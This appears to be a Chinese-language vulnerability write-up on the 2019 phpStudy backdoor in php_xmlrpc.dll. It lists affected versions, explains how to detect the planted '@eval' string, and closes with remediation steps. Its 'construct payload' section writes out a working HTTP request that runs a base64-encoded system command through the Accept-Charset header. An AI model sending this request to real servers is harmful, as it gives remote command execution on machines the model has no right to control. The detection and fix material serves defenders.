phpstudy后门任意代码执行漏洞验证

一.详细描述

Phpstudy是一款免费的PHP调试环境的程序集成包。该程序包集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件,一次性安装,无需配置即可直接使用,具有PHP环境调试和PHP开发功能,在国内有着近百万的PHP语言学习者和开发者用户。

2019年9月20日,网曝非官网的一些下载站中的phpstudy版本存在后门文件,该后门可以造成远程PHP代码执行、执行操作系统命令、内网渗透、数据泄露等危害。PhpStudy后门代码存在于extphp_xmlrpc.dll模块中,只要php成功加载了该后门文件,攻击者仅仅需要构造对应后门的请求头便可以触发后门,执行任意系统命令。

二.目前已知受影响的phpstudy版本

phpstudy 2016版php-5.4
phpstudy 2018版php-5.2.17
phpstudy 2018版php-5.4.45

三.后门检测分析

通过分析,后门代码存在于\ext\php_xmlrpc.dll模块中

phpStudy2016路径

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018路径

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

用文本编辑器打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在,如图:

phpstudy后门任意代码执行漏洞验证_第1张图片

四.构造payload

burp抓包,构造payload

GET /index.php HTTP/1.1
Host: yourip.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3730.400 QQBrowser/10.5.3805.400
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip,deflate
Accept-Charset:这里就是你要执行的代码命令(经过base64加密)
Accept-Language: zh-CN,zh;q=0.9
Connection: close

注: Accept-Encoding要把gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功
Accept-Charset 的值就是执行的命令, 需要进行base64编码

五.漏洞验证

phpstudy后门任意代码执行漏洞验证_第2张图片

六.解决办法

1.在官方网站下载phpstudy进行更新。
目前,phpstudy官网上的版本不存在后门,可从phpsudy官网下载安装包进行更新:https://www.xp.cn/。

2.替换存在后门的php_xmlrpc.dll文件。
从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,使用这些版本中的php_xmlrpc.dll替换原来存在后门的php_xmlrpc.dll文件:

https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip
https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip

你可能感兴趣的:(php,信息安全)